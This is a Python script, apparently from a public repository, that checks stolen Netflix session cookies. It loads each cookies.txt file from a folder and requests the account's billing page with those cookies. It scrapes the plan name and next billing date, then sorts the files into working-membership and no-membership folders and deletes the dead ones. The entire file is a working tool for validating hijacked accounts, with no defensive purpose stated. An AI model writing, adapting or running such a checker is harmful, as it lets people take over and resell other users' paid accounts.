hashir672/Python-red-gen-space
0
1import re2import requests3from bs4 import BeautifulSoup4from deep_translator import GoogleTranslator5import glob6import os7import shutil8import string9import random10import sys11import time12import json13 14loginPageCount = 015membershipCount = 016noMembershipCount = 017def parseCookieFile(cookiefile):18 x = ""19 """Parse a cookies.txt file and return a dictionary of key value pairs20 compatible with requests."""21 22 cookies = {}23 with open(cookiefile, 'r') as fp:24 for line in fp:25 if not re.match(r'^\#', line):26 lineFields = line.strip().split('\t')27 try:28 cookies[lineFields[5]] = lineFields[6]29 30 except:31 # print("Invalid cookie")32 pass33 34 if x == "fail":35 return "fail"36 else:37 return cookies38 39 40def getNetflixInfo(cookiefile):41 global loginPageCount 42 global membershipCount 43 global noMembershipCount 44 cookies = parseCookieFile(cookiefile)45 # print(cookies)46 if cookies != "fail":47 48 print("a")49 r = requests.get("https://www.netflix.com/BillingActivity",50 cookies=cookies)51 print(r.url)52 if "login" in r.url:53 loginPageCount = loginPageCount+154 print("Login Page")55 os.remove(cookiefile)56 else:57 soup = BeautifulSoup(r.content, "html.parser")58 try:59 billingDate = soup.find("div", {60 "data-uia": "streaming-next-cycle"61 }).get_text()62 63 planName = soup.find("div", {"data-uia": "plan-name"}).get_text()64 65 billingDate = GoogleTranslator(source='auto',66 target='en').translate(billingDate)67 try:68 lang = soup.find("html", {"lang": 'en'}).get_text()69 lang = "English"70 except:71 lang = ""72 pass73 planName = GoogleTranslator(source='auto',74 target='en').translate(planName)75 76 print(billingDate + " " + planName + " " + lang)77 S = 378 ran = ''.join(79 random.choices(string.ascii_uppercase + string.digits, k=S))80 try:81 os.makedirs("../Membership")82 except:83 pass84 shutil.move(85 cookiefile, "../Membership/" + billingDate + " " + planName + " " +86 lang + " (" + str(ran) + ").txt")87 membershipCount = membershipCount+188 89 except:90 S = 1091 ran = ''.join(92 random.choices(string.ascii_uppercase + string.digits, k=S))93 try:94 os.makedirs("../NoMembership")95 except:96 pass97 shutil.move(cookiefile, '../NoMembership/NoMember' + str(ran) + ".txt")98 noMembershipCount=noMembershipCount+199 else:100 101 os.remove(cookiefile)102 103 104n = 0105try:106 os.chdir('./cookies')107except:108 print("Cookies folder not found!\nThe name of cookie folder should me 'cookies'.\nClosing in 5 seconds...")109 time.sleep(5)110 sys.exit()111for fileName in glob.glob("*.txt"):112 n += 1113# print(n)114 # print(fileName)115 getNetflixInfo(fileName)116 117if n==0:118 print("Cookie folder is empty")119os.chdir('../')120 121 122print("========================\nInvalid cookies: "+str(loginPageCount)+"\nMembership Cookies: "+str(membershipCount)+"\nValid cookies (no membership): "+str(noMembershipCount))